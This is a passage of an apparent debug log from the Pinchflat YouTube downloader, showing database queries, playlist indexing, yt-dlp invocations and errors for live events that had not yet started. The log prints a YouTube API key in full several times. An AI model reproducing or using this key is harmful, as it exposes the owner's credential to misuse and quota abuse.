s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:05.641 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:14:05.641 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:05.641 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:14:05.859 [debug] QUERY OK source="media_items" db=0.6ms idle=218.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "naCTNxdZUJA", "W3qbEpIV6d4", "JPK6Tr1wizg", "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", ...] 17:14:05.860 [debug] QUERY OK source="settings" db=0.0ms idle=219.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:05.860 [debug] QUERY OK source="settings" db=0.0ms idle=219.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:05.860 [debug] Running yt-dlp command for action: get_media_attributes 17:14:05.860 [debug] QUERY OK source="settings" db=0.0ms idle=219.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:05.861 [debug] QUERY OK source="settings" db=0.0ms idle=219.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:05.861 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:05.861 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c6/1c/c61cbef9c23fc551d3a4740f8d056889d37d8d99d62e6715bbfd3cec5f035f41.json --sleep-requests 63 --sleep-interval 61 --sleep-subtitles 77 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:14:15.722 [info] {"source":"oban","duration":9707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:45.732 [info] {"source":"oban","duration":9429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.441 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:05.202 [info] GET /sources/4121b109-50ec-4197-a462-3579d5850ea0/feed.xml 17:15:05.202 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4121b109-50ec-4197-a462-3579d5850ea0"} Pipelines: [:maybe_basic_auth] 17:15:05.202 [debug] QUERY OK source="sources" db=0.1ms idle=1855.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4121b109-50ec-4197-a462-3579d5850ea0"] 17:15:05.205 [debug] QUERY OK source="media_items" db=2.1ms idle=1856.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [12, 2000] 17:15:05.214 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1516.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [12] 17:15:05.214 [debug] QUERY OK source="media_metadata" db=0.0ms idle=867.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577910] 17:15:05.214 [info] Sent 200 in 12ms 17:15:10.298 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c6/1c/c61cbef9c23fc551d3a4740f8d056889d37d8d99d62e6715bbfd3cec5f035f41.json --sleep-requests 63 --sleep-interval 61 --sleep-subtitles 77 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:15:10.298 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:15:10.299 [debug] QUERY OK source="settings" db=0.1ms idle=1952.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:10.299 [debug] QUERY OK source="settings" db=0.0ms idle=1952.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:10.299 [debug] Running yt-dlp command for action: get_media_attributes 17:15:10.299 [debug] QUERY OK source="settings" db=0.0ms idle=1952.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:10.299 [debug] QUERY OK source="settings" db=0.0ms idle=1596.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:10.299 [debug] QUERY OK source="settings" db=0.0ms idle=594.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:10.299 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c3/fc/c3fcb5bc589b6541023338d00a094fbf8970078519c0d8714ad4474ac8a6f479.json --sleep-requests 64 --sleep-interval 61 --sleep-subtitles 80 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:15:15.742 [info] {"source":"oban","duration":9628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:15:20.231 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/03/74/0374a40ef0a8f72c7980ffedfdf8b7074ce8307a2b3d09a2c0d0359693e3a3cb.json --sleep-requests 85 --sleep-interval 73 --sleep-subtitles 87 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments. 17:15:20.231 [error] Error creating media item 'Wzir-lrTI9A' from URL: {:error, "ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments.\n", 1} 17:15:20.232 [debug] QUERY OK source="media_items" db=0.3ms idle=884.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:15:20.233 [debug] QUERY OK source="tasks" db=0.1ms idle=886.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268411, 42, ~U[2026-10-09 22:15:20Z], ~U[2026-10-09 22:15:20Z]] 17:15:20.233 [info] {"args":{"id":42},"id":5268371,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":86604975,"event":"job:stop","queue_time":276144,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:20.239 [info] {"args":{"id":13},"id":5268373,"meta":{},"system_time":1791584120239099182,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:20.239 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:15:20.240 [debug] QUERY OK source="settings" db=0.5ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.240 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:20.240 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.240 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:15:20.240 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.240 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:20.369 [debug] QUERY OK source="media_items" db=0.6ms idle=129.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "fHPCS8j3cRM", "oEruzTKteRE", "AtaG0PQYeVQ", "ebGLFVzvdfM", "5NG4hycq8n0", "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", ...] 17:15:20.370 [debug] QUERY OK source="media_items" db=0.2ms idle=130.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:15:20.371 [debug] QUERY OK source="tasks" db=0.1ms idle=130.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268412, 13, ~U[2026-10-09 22:15:20Z], ~U[2026-10-09 22:15:20Z]] 17:15:20.371 [info] {"args":{"id":13},"id":5268373,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":132512,"event":"job:stop","queue_time":55008221,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:20.378 [info] {"args":{"id":9},"id":5268374,"meta":{},"system_time":1791584120378175757,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:20.378 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:15:20.378 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.378 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:20.378 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.378 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:15:20.379 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:20.379 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:20.764 [debug] QUERY OK source="media_items" db=0.5ms idle=384.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "5N17EbYJBwQ", "tbWTiZlwJ3M", "_L1Rim7-IPo", "NUVkpWAD548", "67LFeTgFv3Y", "KLJxCWeYGoE", "KwqeKTM9M_8", "0BAkKJ_3Tic", "GRbokvmv-2M", "q3nD5qD758o", "eMG3FWEwJnk", "--LXDh44cBQ", "h0EGCnBjTVk", "L0R-Ac1XRyk", "GF_qEM_vUwo", "3Y7o9IgliYk", "NnvIwG0S8WE", "IEJALLQFmDs", "6VCyrdMLrcY", "S7UM5lSgAg8", "GOmQwinZKtE", "wJMrk69WOdw", "VZ0oIzvzkGI", "Xg1ro-zG7AM", "YPOfYntrrcU", "9BsQpGhwVAY", "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", ...] 17:15:20.765 [debug] QUERY OK source="media_items" db=0.6ms idle=385.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN 